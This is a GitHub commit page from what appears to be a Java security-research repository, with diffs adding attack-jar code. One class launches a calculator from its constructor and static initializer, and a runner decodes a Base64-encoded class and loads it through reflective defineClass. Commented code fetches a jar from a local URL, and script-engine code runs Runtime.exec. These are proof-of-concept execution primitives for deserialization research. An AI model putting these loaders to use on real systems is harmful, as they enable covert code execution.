Skip to content

Commit 7b6a869

Browse files
committed
sync :)
1 parent 8846c5c commit 7b6a869

File tree

6 files changed

+48
-22
lines changed

6 files changed

+48
-22
lines changed

Command/src/main/java/org/command/exec/ScriptEngineDemo.java

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -28,14 +28,14 @@ public static InputStream exec(String cmd) throws Exception {
2828
// " print(line); " +
2929
// "}");
3030
// 直接返回对象
31-
Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" +
32-
"var process = runtime.exec(\"hostname\");" +
33-
"var inputStream = process.getInputStream();" +
34-
"var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +
35-
"var result = scanner.hasNext() ? scanner.next() : \"\";" +
36-
"scanner.close();" +
37-
"result;");
38-
System.out.println(obj.toString());
31+
// Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" +
32+
// "var process = runtime.exec(\"hostname\");" +
33+
// "var inputStream = process.getInputStream();" +
34+
// "var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +
35+
// "var result = scanner.hasNext() ? scanner.next() : \"\";" +
36+
// "scanner.close();" +
37+
// "result;");
38+
// System.out.println(obj.toString());
3939

4040

4141
engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " +

Command/src/main/java/org/command/exec/jni/JniCmdDemo.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
* @author Whoopsunix
88
* 手动指定lib
99
* @Ref: https://github.com/javaweb-sec/javaweb-sec
10-
* ProcessImpl & UnixProcess by unsafe + Native
1110
*/
1211
public class JniCmdDemo {
1312

Command/src/main/java/org/command/exec/jni/JniCmdDemo2.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@
99
* @author Whoopsunix
1010
* 写lib到临时目录
1111
* @Ref: https://github.com/javaweb-sec/javaweb-sec
12-
* ProcessImpl & UnixProcess by unsafe + Native
1312
*/
1413
public class JniCmdDemo2 {
1514
/**

Serialization/AttackJar/pom.xml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,11 @@
1414
</properties>
1515

1616
<dependencies>
17-
17+
<dependency>
18+
<groupId>org.tools</groupId>
19+
<artifactId>Utils</artifactId>
20+
<version>1.0-SNAPSHOT</version>
21+
</dependency>
1822
</dependencies>
1923

2024
<build>

Serialization/AttackJar/src/main/java/org/example/Exec.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,16 @@
55
*/
66
public class Exec {
77
public Exec() {
8+
try {
9+
Runtime.getRuntime().exec("open -a Calculator.app");
10+
} catch (Exception e) {
11+
}
812
}
913

1014
static {
1115
try {
1216
Runtime.getRuntime().exec("open -a Calculator.app");
13-
} catch (Exception e){
17+
} catch (Exception e) {
1418
}
1519
}
1620
}

Serialization/AttackJar/src/main/java/org/example/Run.java

Lines changed: 30 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
package org.example;
22

3+
import java.lang.reflect.Method;
4+
import java.util.Base64;
5+
36
/**
47
* @author Whoopsunix
58
*/
@@ -21,16 +24,16 @@ public static void main(String[] args) throws Exception {
2124
/**
2225
* 调用构造方法
2326
*/
24-
java.net.URL url = new java.net.URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
25-
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
26-
Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
27-
// public
28-
// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
29-
// private
30-
Class cls = String.class;
31-
java.lang.reflect.Constructor constructor = loadedClass.getDeclaredConstructor(cls);
32-
constructor.setAccessible(true);
33-
Object object = constructor.newInstance("open -a Calculator.app");
27+
// java.net.URL url = new java.net.URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
28+
// java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
29+
// Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
30+
// // public
31+
//// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
32+
// // private
33+
// Class cls = String.class;
34+
// java.lang.reflect.Constructor constructor = loadedClass.getDeclaredConstructor(cls);
35+
// constructor.setAccessible(true);
36+
// Object object = constructor.newInstance("open -a Calculator.app");
3437

3538
/**
3639
* 调用方法
@@ -41,5 +44,22 @@ public static void main(String[] args) throws Exception {
4144
// Object object = loadedClass.newInstance();
4245
// loadedClass.getMethod("exec", String.class).invoke(object, "open -a Calculator.app");
4346

47+
48+
/**
49+
* Base64解密后加载
50+
*/
51+
// generate
52+
// String b64Str = new B64().encodeJavaClass(Exec.class);
53+
54+
String b64Str = "yv66vgAAADQAIgoABwAVCgAWABcIABgKABYAGQcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAGwcAGgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwACAAJBwAdDAAeAB8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAgACEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQb3JnL2V4YW1wbGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAABwAEAAkADQALABAACgARAAwADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAgAEgAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAQAAkAEgAMABEADQATAAwAAAACAAAADwAAAAcAAkwHABEAAAEAEwAAAAIAFA==";
55+
56+
byte[] bytes = Base64.getDecoder().decode(b64Str);
57+
// ClassLoader classLoader = this.getClass().getClassLoader();
58+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
59+
60+
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
61+
defineClassMethod.setAccessible(true);
62+
Class<?> loadedClass = (Class<?>) defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
63+
loadedClass.newInstance();
4464
}
4565
}

0 commit comments

Comments
 (0)